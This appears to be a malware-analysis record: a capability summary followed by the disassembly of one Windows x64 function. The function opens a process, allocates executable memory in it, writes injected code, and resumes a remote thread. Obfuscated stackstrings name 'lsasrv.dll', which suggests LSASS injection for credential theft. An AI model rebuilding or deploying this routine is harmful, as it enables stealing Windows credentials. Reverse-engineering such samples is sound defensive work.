Function at 0x140010c94
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x260
xor r15d, r15d
mov r13, rdx
mov rbp, rcx
mov esi, r15d
call fcn.140010994
cmp eax, r15d
je 0x1400110e7
mov r8d, eax
xor edx, edx
mov ecx, 0x1f0fff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
cmp rax, r15
mov rdi, rax
je 0x1400110e7
lea rcx, [rsp + 0x68]
xor edx, edx
mov r8d, 0xf0
mov qword [rsp + 0x60], r15
call sub.msvcrt.dll_memset
lea rcx, str.kernel32.dll
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x14001bcf8]
lea rcx, [rsp + 0x40]
mov rdx, rax
mov rbx, rax
call fcn.14001700c
lea r8, [0x14001bd10]
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov qword [rsp + 0x60], rax
call fcn.14001700c
lea r8, [0x14001bd20]
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov qword [rsp + 0x68], rax
call fcn.14001700c
lea r8, [0x14001bd38]
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov qword [rsp + 0x70], rax
call fcn.14001700c
mov ebx, 0x1000
xor edx, edx
mov r8d, 0xf8
mov rcx, rdi
mov r9d, ebx
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, ebx
xor edx, edx
mov r8d, 0x400
mov rcx, rdi
mov r14, rax
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, ebx
xor edx, edx
mov r12, rax
mov eax, dword [r13]
mov rcx, rdi
lea r8d, [rax + rax]
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8d, dword [r13]
mov r9d, ebx
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x148], rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp r14, r15
mov ecx, dword [r13]
mov qword [rsp + 0x140], rax
mov dword [rsp + 0x150], ecx
je 0x140011087
cmp r12, r15
je 0x140011087
cmp qword [rsp + 0x148], r15
je 0x140011087
cmp ecx, r15d
je 0x140011087
mov r8, qword [r13 + 8]
mov r9, rcx
mov rdx, rax
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rdx, [0x14001bcc0]
lea rcx, [rsp + 0xc0]
mov word [rsp + 0x82], 0x73
mov word [rsp + 0x86], 0x73
mov word [rsp + 0x90], 0x6c
mov word [rsp + 0x80], 0x6c
mov word [rsp + 0x8e], 0x64
mov word [rsp + 0x88], 0x72
mov word [rsp + 0x8c], 0x2e
mov word [rsp + 0x84], 0x61
mov word [rsp + 0x8a], 0x76
mov word [rsp + 0x94], r15w
mov word [rsp + 0x92], 0x6c
mov byte [rsp + 0xc0], 0x4c
mov byte [rsp + 0xc2], 0x61
mov byte [rsp + 0xc3], 0x49
mov byte [rsp + 0xc4], r15b
mov byte [rsp + 0xc1], 0x73
mov byte [rsp + 0xc5], r15b
call sub.msvcrt.dll_strcat
lea rdx, [0x14001bcd4]
lea rcx, [rsp + 0x120]
call sub.msvcrt.dll_strcpy
lea rdx, [0x14001bce0]
lea rcx, [rsp + 0xe0]
call fcn.14001916a
lea r8, [0x1400108a4]
mov r9d, 0x400
mov rdx, r12
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r13d, 0xf8
lea r8, [rsp + 0x60]
mov r9, r13
mov rdx, r14
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 4
lea rcx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x48], r15d
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x58], r15
call fcn.14001803c
mov rdx, rax
mov rcx, rbp
mov rbx, rax
call fcn.140010bb0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8d, [r13 - 8]
lea rcx, [rsp + 0x168]
xor edx, edx
mov qword [rsp + 0x160], r15
call sub.msvcrt.dll_memset
lea r8, [rsp + 0x160]
mov r9, r13
mov rdx, r14
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r11d, dword [rsp + 0x254]
lea eax, [r11 - 1]
cmp eax, 0xfffffe
ja 0x140011077
lea edx, [r11 + 0x10]
lea ecx, [r15 + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r9d, dword [rsp + 0x254]
mov rdx, qword [rsp + 0x148]
mov r8, rax
mov rcx, rdi
mov rbx, rax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, r15d
je 0x14001106e
mov rcx, qword [rsp + 0x2c8]
mov eax, dword [rsp + 0x254]
lea esi, [r15 + 1]
mov qword [rcx + 8], rbx
mov dword [rcx], eax
jmp 0x140011077
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x50]
cmp rcx, r15
je 0x140011087
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, 0x8000
xor r8d, r8d
mov rdx, r14
mov r9d, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, ebx
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rsp + 0x148]
mov r9d, ebx
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rsp + 0x140]
mov r9d, ebx
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x260]
mov eax, esi
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret